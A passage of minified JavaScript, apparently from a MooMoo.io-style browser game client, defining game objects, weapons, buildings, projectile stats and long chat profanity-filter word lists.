let o = r.mapScale * this.minSpawnRange,
c = r.mapScale * this.maxSpawnRange;
(this.x = a.randInt(o, c)), (this.y = a.randInt(o, c));
} else
(this.x = this.startX || a.randInt(0, r.mapScale)),
(this.y = this.startY || a.randInt(0, r.mapScale));
if (
((this.health = this.maxHealth),
(this.runFrom = null),
n && (s(n, this.killScore), this.drop))
)
for (let d = 0; d < this.drop.length; )
n.addResource(
r.resourceTypes.indexOf(this.drop[d]),
this.drop[d + 1]
),
(d += 2);
}
});
}
function kc(t) {
(this.sid = t),
(this.init = function (t, n, i, o, a, r, s) {
(r = r || {}),
(this.sentTo = {}),
(this.gridLocations = []),
(this.active = !0),
(this.doUpdate = r.doUpdate),
(this.x = t),
(this.y = n),
(this.dir = i),
document.getElementById("placeanim").checked
? ((this.xWiggle = -70 * Math.cos(this.dir)),
(this.yWiggle = -70 * Math.sin(this.dir)))
: ((this.xWiggle = 0), (this.yWiggle = 0)),
(this.scale = o),
(this.type = a),
(this.id = r.id),
(this.owner = s),
(this.name = r.name),
(this.isItem = null != this.id),
(this.group = r.group),
(this.health = this.maxHealth = r.health),
(this.volatile = !1),
(this.layer = 2),
null != this.group
? (this.layer = this.group.layer)
: 0 == this.type
? (this.layer = 3)
: 2 == this.type
? (this.layer = 0)
: 4 == this.type && (this.layer = -1),
(this.colDiv = r.colDiv || 1),
(this.blocker = r.blocker),
(this.ignoreCollision = r.ignoreCollision),
(this.dontGather = r.dontGather),
(this.hideFromEnemy = r.hideFromEnemy),
(this.friction = r.friction),
(this.projDmg = r.projDmg),
(this.dmg = r.dmg),
(this.pDmg = r.pDmg),
(this.pps = r.pps),
(this.turnSpeed = r.turnSpeed),
(this.req = r.req),
(this.trap = r.trap),
(this.healCol = r.healCol),
(this.teleport = r.teleport),
(this.shootCount = this.shootRate),
(this.shootCount = this.shootRate);
}),
(this.changeHealth = function (t, n) {
return (this.health += t), this.health <= 0;
}),
(this.getScale = function (t, n) {
return (
(t = t || 1),
this.scale *
(this.isItem || 2 == this.type || 3 == this.type || 4 == this.type
? 1
: 0.6 * t) *
(n ? 1 : this.colDiv)
);
}),
(this.visibleToPlayer = function (t) {
return (
!this.hideFromEnemy ||
(this.owner &&
(this.owner == t || (this.owner.team && t.team == this.owner.team)))
);
}),
(this.update = function (t) {
this.active &&
(this.xWiggle && (this.xWiggle *= Math.pow(0.99, t)),
this.yWiggle && (this.yWiggle *= Math.pow(0.99, t)),
this.turnSpeed &&
document.getElementById("objturn").checked &&
("Slow" == document.getElementById("objTurnZpeed").value
? (this.dir += (this.turnSpeed / 2) * t)
: "Normal" == document.getElementById("objTurnZpeed").value
? (this.dir += this.turnSpeed * t)
: "Fast" == document.getElementById("objTurnZpeed").value &&
(this.dir += 1.5 * this.turnSpeed * t)));
}),
(this.teamObj = function (t) {
return (
null != this.owner &&
((this.owner && t.sid === this.owner.sid) ||
t.findAllianceBySid(this.owner.sid))
);
});
}
const j = [
{
id: 0,
name: "food",
layer: 0,
},
{
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0,
},
{
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0,
},
{
id: 3,
name: "mill",
place: !0,
limit: 7,
sandboxLimit: 299,
layer: 1,
},
{
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0,
},
{
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1,
},
{
id: 6,
name: "booster",
place: !0,
limit: 12,
sandboxLimit: 299,
layer: -1,
},
{
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1,
},
{
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1,
},
{
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1,
},
{
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1,
},
{
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0,
},
{
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1,
},
{
id: 13,
name: "teleporter",
place: !0,
limit: 2,
sandboxLimit: 299,
layer: -1,
},
],
vc = [
{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3,
},
{
indx: 1,
layer: 1,
dmg: 25,
scale: 20,
},
{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200,
},
{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200,
},
{
indx: 1,
layer: 1,
dmg: 16,
scale: 20,
},
{
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400,
},
],
xc = [
{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300,
},
{
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400,
},
{
id: 2,
type: 0,
age: 8,
pre: 1,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400,
},
{
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: 0.85,
range: 110,
gather: 1,
speed: 300,
},
{
id: 4,
type: 0,
age: 8,
pre: 3,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: 0.8,
range: 118,
gather: 1,
speed: 300,
},
{
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: 0.2,
spdMult: 0.82,
range: 142,
gather: 1,
speed: 700,
},
{
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: 0.7,
range: 110,
gather: 1,
speed: 300,
},
{
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: 0.8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: 0.1,
range: 65,
gather: 1,
hitSlow: 0.1,
spdMult: 1.13,
speed: 100,
},
{
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400,
},
{
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
dmg: 20,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: 0.75,
speed: 600,
},
{
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: 0.88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400,
},
{
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: 0.2,
dmg: 0,
xOff: 6,
yOff: 0,
spdMult: 0.7,
},
{
id: 12,
type: 1,
age: 8,
pre: 9,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: 0.75,
length: 120,
width: 120,
dmg: 30,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: 0.7,
speed: 700,
},
{
id: 13,
type: 1,
age: 9,
pre: 12,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: 0.75,
length: 120,
width: 120,
dmg: 25,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: 0.7,
speed: 230,
},
{
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: 0.2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700,
},
{
id: 15,
type: 1,
age: 9,
pre: 12,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: 0.35,
armS: 0.6,
hndS: 0.3,
hndD: 1.6,
dmg: 50,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: 0.6,
speed: 1500,
},
],
dt = [
{
group: j[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function (t) {
return t.changeHealth(20, t);
},
healing: 20,
scale: 22,
holdOffset: 15,
},
{
age: 3,
group: j[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function (t) {
return t.changeHealth(40, t);
},
healing: 40,
scale: 27,
holdOffset: 15,
},
{
age: 7,
group: j[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function (t) {
return (
(!!t.changeHealth(30, t) || t.health < 100) &&
((t.dmgOverTime.dmg = -10),
(t.dmgOverTime.doer = t),
(t.dmgOverTime.time = 5),
!0)
);
},
healing: 30,
scale: 27,
holdOffset: 15,
},
{
group: j[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 3,
group: j[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 7,
pre: 1,
group: j[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
group: j[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
a: !0,
},
{
age: 5,
group: j[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
a: !0,
},
{
age: 9,
pre: 1,
group: j[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
a: !0,
},
{
age: 9,
pre: 2,
group: j[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: 0.003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
a: !0,
},
{
group: j[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: 0.0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5,
a: !0,
},
{
age: 5,
pre: 1,
group: j[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: 0.0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5,
a: !0,
},
{
age: 8,
pre: 1,
group: j[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: 0.005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5,
a: !0,
},
{
age: 5,
group: j[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0,
},
{
age: 5,
group: j[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: 0.5,
scale: 110,
holdOffset: 50,
placeOffset: -15,
},
{
age: 4,
group: j[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: 0.2,
scale: 50,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 4,
group: j[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 7,
group: j[7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 7,
group: j[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 7,
group: j[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 9,
group: j[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 7,
group: j[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
{
age: 7,
group: j[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
a: !0,
},
];
for (let e = 0; e < dt.length; ++e)
(dt[e].id = e), dt[e].pre && (dt[e].pre = e - dt[e].pre);
const R = {
groups: j,
projectiles: vc,
weapons: xc,
list: dt,
},
bc = [
"ahole",
"anus",
"ash0le",
"ash0les",
"asholes",
"ass",
"Ass Monkey",
"Assface",
"assh0le",
"assh0lez",
"asshole",
"assholes",
"assholz",
"asswipe",
"azzhole",
"bassterds",
"bastard",
"bastards",
"bastardz",
"basterds",
"basterdz",
"Biatch",
"bitch",
"bitches",
"Blow Job",
"boffing",
"butthole",
"buttwipe",
"c0ck",
"c0cks",
"c0k",
"Carpet Muncher",
"cawk",
"cawks",
"Clit",
"cnts",
"cntz",
"cock",
"cockhead",
"cock-head",
"cocks",
"CockSucker",
"cock-sucker",
"crap",
"cum",
"cunt",
"cunts",
"cuntz",
"dick",
"dild0",
"dild0s",
"dildo",
"dildos",
"dilld0",
"dilld0s",
"dominatricks",
"dominatrics",
"dominatrix",
"dyke",
"enema",
"f u c k",
"f u c k e r",
"fag",
"fag1t",
"faget",
"fagg1t",
"faggit",
"faggot",
"fagg0t",
"fagit",
"fags",
"fagz",
"faig",
"faigs",
"fart",
"flipping the bird",
"fuck",
"fucker",
"fuckin",
"fucking",
"fucks",
"Fudge Packer",
"fuk",
"Fukah",
"Fuken",
"fuker",
"Fukin",
"Fukk",
"Fukkah",
"Fukken",
"Fukker",
"Fukkin",
"g00k",
"God-damned",
"h00r",
"h0ar",
"h0re",
"hells",
"hoar",
"hoor",
"hoore",
"jackoff",
"jap",
"japs",
"jerk-off",
"jisim",
"jiss",
"jizm",
"jizz",
"knob",
"knobs",
"knobz",
"kunt",
"kunts",
"kuntz",
"Lezzian",
"Lipshits",
"Lipshitz",
"masochist",
"masokist",
"massterbait",
"masstrbait",
"masstrbate",
"masterbaiter",
"masterbate",
"masterbates",
"Motha Fucker",
"Motha Fuker",
"Motha Fukkah",
"Motha Fukker",
"Mother Fucker",
"Mother Fukah",
"Mother Fuker",
"Mother Fukkah",
"Mother Fukker",
"mother-fucker",
"Mutha Fucker",
"Mutha Fukah",
"Mutha Fuker",
"Mutha Fukkah",
"Mutha Fukker",
"n1gr",
"nastt",
"nigger;",
"nigur;",
"niiger;",
"niigr;",
"orafis",
"orgasim;",
"orgasm",
"orgasum",
"oriface",
"orifice",
"orifiss",
"packi",
"packie",
"packy",
"paki",
"pakie",
"paky",
"pecker",
"peeenus",
"peeenusss",
"peenus",
"peinus",
"pen1s",
"penas",
"penis",
"penis-breath",
"penus",
"penuus",
"Phuc",
"Phuck",
"Phuk",
"Phuker",
"Phukker",
"polac",
"polack",
"polak",
"Poonani",
"pr1c",
"pr1ck",
"pr1k",
"pusse",
"pussee",
"pussy",
"puuke",
"puuker",
"qweir",
"recktum",
"rectum",
"retard",
"sadist",
"scank",
"schlong",
"screwing",
"semen",
"sex",
"sexy",
"Sh!t",
"sh1t",
"sh1ter",
"sh1ts",
"sh1tter",
"sh1tz",
"shit",
"shits",
"shitter",
"Shitty",
"Shity",
"shitz",
"Shyt",
"Shyte",
"Shytty",
"Shyty",
"skanck",
"skank",
"skankee",
"skankey",
"skanks",
"Skanky",
"slag",
"slut",
"sluts",
"Slutty",
"slutz",
"son-of-a-bitch",
"tit",
"turd",
"va1jina",
"vag1na",
"vagiina",
"vagina",
"vaj1na",
"vajina",
"vullva",
"vulva",
"w0p",
"wh00r",
"wh0re",
"whore",
"xrated",
"xxx",
"b!+ch",
"bitch",
"blowjob",
"clit",
"arschloch",
"fuck",
"shit",
"ass",
"asshole",
"b!tch",
"b17ch",
"b1tch",
"bastard",
"bi+ch",
"boiolas",
"buceta",
"c0ck",
"cawk",
"chink",
"cipa",
"clits",
"cock",
"cum",
"cunt",
"dildo",
"dirsa",
"ejakulate",
"fatass",
"fcuk",
"fuk",
"fux0r",
"hoer",
"hore",
"jism",
"kawk",
"l3itch",
"l3i+ch",
"masturbate",
"masterbat*",
"masterbat3",
"motherfucker",
"s.o.b.",
"mofo",
"nazi",
"nigga",
"nigger",
"nutsack",
"phuck",
"pimpis",
"pusse",
"pussy",
"scrotum",
"sh!t",
"shemale",
"shi+",
"sh!+",
"slut",
"smut",
"teets",
"tits",
"boobs",
"b00bs",
"teez",
"testical",
"testicle",
"titt",
"w00se",
"jackoff",
"wank",
"whoar",
"whore",
"*damn",
"*dyke",
"*fuck*",
"*shit*",
"@$$",
"amcik",
"andskota",
"arse*",
"assrammer",
"ayir",
"bi7ch",
"bitch*",
"bollock*",
"breasts",
"butt-pirate",
"cabron",
"cazzo",
"chraa",
"chuj",
"Cock*",
"cunt*",
"d4mn",
"daygo",
"dego",
"dick*",
"dike*",
"dupa",
"dziwka",
"ejackulate",
"Ekrem*",
"Ekto",
"enculer",
"faen",
"fag*",
"fanculo",
"fanny",
"feces",
"feg",
"Felcher",
"ficken",
"fitt*",
"Flikker",
"foreskin",
"Fotze",
"Fu(*",
"fuk*",
"futkretzn",
"gook",
"guiena",
"h0r",
"h4x0r",
"hell",
"helvete",
"hoer*",
"honkey",
"Huevon",
"hui",
"injun",
"jizz",
"kanker*",
"kike",
"klootzak",
"kraut",
"knulle",
"kuk",
"kuksuger",
"Kurac",
"kurwa",
"kusi*",
"kyrpa*",
"lesbo",
"mamhoon",
"masturbat*",
"merd*",
"mibun",
"monkleigh",
"mouliewop",
"muie",
"mulkku",
"muschi",
"nazis",
"nepesaurio",
"nigger*",
"orospu",
"paska*",
"perse",
"picka",
"pierdol*",
"pillu*",
"pimmel",
"piss*",
"pizda",
"poontsee",
"poop",
"porn",
"p0rn",
"pr0n",
"preteen",
"pula",
"pule",
"puta",
"puto",
"qahbeh",
"queef*",
"rautenberg",
"schaffer",
"scheiss*",
"schlampe",
"schmuck",
"screw",
"sh!t*",
"sharmuta",
"sharmute",
"shipal",
"shiz",
"skribz",
"skurwysyn",
"sphencter",
"spic",
"spierdalaj",
"splooge",
"suka",
"b00b*",
"testicle*",
"titt*",
"twat",
"vittu",
"wank*",
"wetback*",
"wichser",
"wop*",
"yed",
"zabourah",
],
Sc = {
words: bc,
};
var Tc = {
"4r5e": 1,
"5h1t": 1,
"5hit": 1,
a55: 1,
anal: 1,
anus: 1,
ar5e: 1,
arrse: 1,
arse: 1,
ass: 1,
"ass-fucker": 1,
asses: 1,
assfucker: 1,
assfukka: 1,
asshole: 1,
assholes: 1,
asswhole: 1,
a_s_s: 1,
"b!tch": 1,
b00bs: 1,
b17ch: 1,
b1tch: 1,
ballbag: 1,
balls: 1,
ballsack: 1,
bastard: 1,
beastial: 1,
beastiality: 1,
bellend: 1,
bestial: 1,
bestiality: 1,
"bi+ch": 1,
biatch: 1,
bitch: 1,
bitcher: 1,
bitchers: 1,
bitches: 1,
bitchin: 1,
bitching: 1,
bloody: 1,
"blow job": 1,
blowjob: 1,
blowjobs: 1,
boiolas: 1,
bollock: 1,
bollok: 1,
boner: 1,
boob: 1,
boobs: 1,
booobs: 1,
boooobs: 1,
booooobs: 1,
booooooobs: 1,
breasts: 1,
buceta: 1,
bugger: 1,
bum: 1,
"bunny fucker": 1,
butt: 1,
butthole: 1,
buttmuch: 1,
buttplug: 1,
c0ck: 1,
c0cksucker: 1,
"carpet muncher": 1,
cawk: 1,
chink: 1,
cipa: 1,
cl1t: 1,
clit: 1,
clitoris: 1,
clits: 1,
cnut: 1,
cock: 1,
"cock-sucker": 1,
cockface: 1,
cockhead: 1,
cockmunch: 1,
cockmuncher: 1,
cocks: 1,
cocksuck: 1,
cocksucked: 1,
cocksucker: 1,
cocksucking: 1,
cocksucks: 1,
cocksuka: 1,
cocksukka: 1,
cok: 1,
cokmuncher: 1,
coksucka: 1,
coon: 1,
cox: 1,
crap: 1,
cum: 1,
cummer: 1,
cumming: 1,
cums: 1,
cumshot: 1,
cunilingus: 1,
cunillingus: 1,
cunnilingus: 1,
cunt: 1,
cuntlick: 1,
cuntlicker: 1,
cuntlicking: 1,
cunts: 1,
cyalis: 1,
cyberfuc: 1,
cyberfuck: 1,
cyberfucked: 1,
cyberfucker: 1,
cyberfuckers: 1,
cyberfucking: 1,
d1ck: 1,
damn: 1,
dick: 1,
dickhead: 1,
dildo: 1,
dildos: 1,
dink: 1,
dinks: 1,
dirsa: 1,
dlck: 1,
"dog-fucker": 1,
doggin: 1,
dogging: 1,
donkeyribber: 1,
doosh: 1,
duche: 1,
dyke: 1,
ejaculate: 1,
ejaculated: 1,
ejaculates: 1,
ejaculating: 1,
ejaculatings: 1,
ejaculation: 1,
ejakulate: 1,
"f u c k": 1,
"f u c k e r": 1,
f4nny: 1,
fag: 1,
fagging: 1,
faggitt: 1,
faggot: 1,
faggs: 1,
fagot: 1,
fagots: 1,
fags: 1,
fanny: 1,
fannyflaps: 1,
fannyfucker: 1,
fanyy: 1,
fatass: 1,
fcuk: 1,
fcuker: 1,
fcuking: 1,
feck: 1,
fecker: 1,
felching: 1,
fellate: 1,
fellatio: 1,
fingerfuck: 1,
fingerfucked: 1,
fingerfucker: 1,
fingerfuckers: 1,
fingerfucking: 1,
fingerfucks: 1,
fistfuck: 1,
fistfucked: 1,
fistfucker: 1,
fistfuckers: 1,
fistfucking: 1,
fistfuckings: 1,
fistfucks: 1,
flange: 1,
fook: 1,
fooker: 1,
fuck: 1,
fucka: 1,
fucked: 1,
fucker: 1,
fuckers: 1,
fuckhead: 1,
fuckheads: 1,
fuckin: 1,
fucking: 1,
fuckings: 1,
fuckingshitmotherfucker: 1,
fuckme: 1,
fucks: 1,
fuckwhit: 1,
fuckwit: 1,
"fudge packer": 1,
fudgepacker: 1,
fuk: 1,
fuker: 1,
fukker: 1,
fukkin: 1,
fuks: 1,
fukwhit: 1,
fukwit: 1,
fux: 1,
fux0r: 1,
f_u_c_k: 1,
gangbang: 1,
gangbanged: 1,
gangbangs: 1,
gaylord: 1,
gaysex: 1,
goatse: 1,
God: 1,
"god-dam": 1,
"god-damned": 1,
goddamn: 1,
goddamned: 1,
hardcoresex: 1,
hell: 1,
heshe: 1,
hoar: 1,
hoare: 1,
hoer: 1,
homo: 1,
hore: 1,
horniest: 1,
horny: 1,
hotsex: 1,
"jack-off": 1,
jackoff: 1,
jap: 1,
"jerk-off": 1,
jism: 1,
jiz: 1,
jizm: 1,
jizz: 1,
kawk: 1,
knob: 1,
knobead: 1,
knobed: 1,
knobend: 1,
knobhead: 1,
knobjocky: 1,
knobjokey: 1,
kock: 1,
kondum: 1,
kondums: 1,
kum: 1,
kummer: 1,
kumming: 1,
kums: 1,
kunilingus: 1,
"l3i+ch": 1,
l3itch: 1,
labia: 1,
lust: 1,
lusting: 1,
m0f0: 1,
m0fo: 1,
m45terbate: 1,
ma5terb8: 1,
ma5terbate: 1,
masochist: 1,
"master-bate": 1,
masterb8: 1,
"masterbat*": 1,
masterbat3: 1,
masterbate: 1,
masterbation: 1,
masterbations: 1,
masturbate: 1,
"mo-fo": 1,
mof0: 1,
mofo: 1,
mothafuck: 1,
mothafucka: 1,
mothafuckas: 1,
mothafuckaz: 1,
mothafucked: 1,
mothafucker: 1,
mothafuckers: 1,
mothafuckin: 1,
mothafucking: 1,
mothafuckings: 1,
mothafucks: 1,
"mother fucker": 1,
motherfuck: 1,
motherfucked: 1,
motherfucker: 1,
motherfuckers: 1,
motherfuckin: 1,
motherfucking: 1,
motherfuckings: 1,
motherfuckka: 1,
motherfucks: 1,
muff: 1,
mutha: 1,
muthafecker: 1,
muthafuckker: 1,
muther: 1,
mutherfucker: 1,
n1gga: 1,
n1gger: 1,
nazi: 1,
nigg3r: 1,
nigg4h: 1,
nigga: 1,
niggah: 1,
niggas: 1,
niggaz: 1,
nigger: 1,
niggers: 1,
nob: 1,
"nob jokey": 1,
nobhead: 1,
nobjocky: 1,
nobjokey: 1,
numbnuts: 1,
nutsack: 1,
orgasim: 1,
orgasims: 1,
orgasm: 1,
orgasms: 1,
p0rn: 1,
pawn: 1,
pecker: 1,
penis: 1,
penisfucker: 1,
phonesex: 1,
phuck: 1,
phuk: 1,
phuked: 1,
phuking: 1,
phukked: 1,
phukking: 1,
phuks: 1,
phuq: 1,
pigfucker: 1,
pimpis: 1,
piss: 1,
pissed: 1,
pisser: 1,
pissers: 1,
pisses: 1,
pissflaps: 1,
pissin: 1,
pissing: 1,
pissoff: 1,
poop: 1,
porn: 1,
porno: 1,
pornography: 1,
pornos: 1,
prick: 1,
pricks: 1,
pron: 1,
pube: 1,
pusse: 1,
pussi: 1,
pussies: 1,
pussy: 1,
pussys: 1,
rectum: 1,
retard: 1,
rimjaw: 1,
rimming: 1,
"s hit": 1,
"s.o.b.": 1,
sadist: 1,
schlong: 1,
screwing: 1,
scroat: 1,
scrote: 1,
scrotum: 1,
semen: 1,
sex: 1,
"sh!+": 1,
"sh!t": 1,
sh1t: 1,
shag: 1,
shagger: 1,
shaggin: 1,
shagging: 1,
shemale: 1,
"shi+": 1,
shit: 1,
shitdick: 1,
shite: 1,
shited: 1,
shitey: 1,
shitfuck: 1,
shitfull: 1,
shithead: 1,
shiting: 1,
shitings: 1,
shits: 1,
shitted: 1,
shitter: 1,
shitters: 1,
shitting: 1,
shittings: 1,
shitty: 1,
skank: 1,
slut: 1,
sluts: 1,
smegma: 1,
smut: 1,
snatch: 1,
"son-of-a-bitch": 1,
spac: 1,
spunk: 1,
s_h_i_t: 1,
t1tt1e5: 1,
t1tties: 1,
teets: 1,
teez: 1,
testical: 1,
testicle: 1,
tit: 1,
titfuck: 1,
tits: 1,
titt: 1,
tittie5: 1,
tittiefucker: 1,
titties: 1,
tittyfuck: 1,
tittywank: 1,
titwank: 1,
tosser: 1,
turd: 1,
tw4t: 1,
twat: 1,
twathead: 1,
twatty: 1,
twunt: 1,
twunter: 1,
v14gra: 1,
v1gra: 1,
vagina: 1,
viagra: 1,
vulva: 1,
w00se: 1,
wang: 1,
wank: 1,
wanker: 1,
wanky: 1,
whoar: 1,
whore: 1,
willies: 1,
willy: 1,
xrated: 1,
xxx: 1,
},
Ic = [
"4r5e",
"5h1t",
"5hit",
"a55",
"anal",
"anus",
"ar5e",
"arrse",
"arse",
"ass",
"ass-fucker",
"asses",
"assfucker",
"assfukka",
"asshole",
"assholes",
"asswhole",
"a_s_s",
"b!tch",
"b00bs",
"b17ch",
"b1tch",
"ballbag",
"balls",
"ballsack",
"bastard",
"beastial",
"beastiality",
"bellend",
"bestial",
"bestiality",
"bi+ch",
"biatch",
"bitch",
"bitcher",
"bitchers",
"bitches",
"bitchin",
"bitching",
"bloody",
"blow job",
"blowjob",
"blowjobs",
"boiolas",
"bollock",
"bollok",
"boner",
"boob",
"boobs",
"booobs",
"boooobs",
"booooobs",
"booooooobs",
"breasts",
"buceta",
"bugger",
"bum",
"bunny fucker",
"butt",
"butthole",
"buttmuch",
"buttplug",
"c0ck",
"c0cksucker",
"carpet muncher",
"cawk",
"chink",
"cipa",
"cl1t",
"clit",
"clitoris",
"clits",
"cnut",
"cock",
"cock-sucker",
"cockface",
"cockhead",
"cockmunch",
"cockmuncher",
"cocks",
"cocksuck",
"cocksucked",
"cocksucker",
"cocksucking",
"cocksucks",
"cocksuka",
